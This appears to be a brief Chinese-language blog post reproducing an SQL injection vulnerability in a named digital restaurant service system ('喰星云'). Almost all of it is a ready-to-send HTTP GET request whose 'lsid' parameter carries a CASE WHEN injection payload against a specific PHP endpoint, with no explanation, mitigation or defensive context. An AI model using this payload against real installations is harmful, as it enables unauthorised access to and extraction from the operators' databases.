Babing
Published on 2024-08-30 / 2 Visits
0
0

C16-2喰星云-数字化餐饮服务系统-SQL

C16-2喰星云-数字化餐饮服务系统-SQL

漏洞复现:

payload:

GET /logistics/home_warning/php/not_finish.php?do=getList&lsid=(SELECT+(CASE+WHEN+(6192=6193)+THEN+''+ELSE+(SELECT+9641+UNION+SELECT+2384)+END)) HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36

Comment